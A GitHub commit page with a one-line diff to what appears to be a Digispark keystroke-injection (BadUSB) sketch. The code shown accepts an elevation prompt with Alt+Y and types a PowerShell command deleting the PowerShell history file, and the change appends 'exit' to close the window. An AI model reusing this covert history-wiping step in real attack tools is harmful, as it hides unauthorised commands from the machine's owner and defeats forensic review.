Made Powershell prompt exit

Fixed the Powershell prompt not closing after deleting the Powershell history.
This commit is contained in:
CedArctic 2018-07-23 14:01:48 +03:00 committed by GitHub
parent 59fc5c9424
commit 336ad16f82
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 1 additions and 1 deletions

View File

@ -37,7 +37,7 @@ void loop() {
DigiKeyboard.delay(500); DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT); DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
DigiKeyboard.delay(500); DigiKeyboard.delay(500);
DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath")); DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500); DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);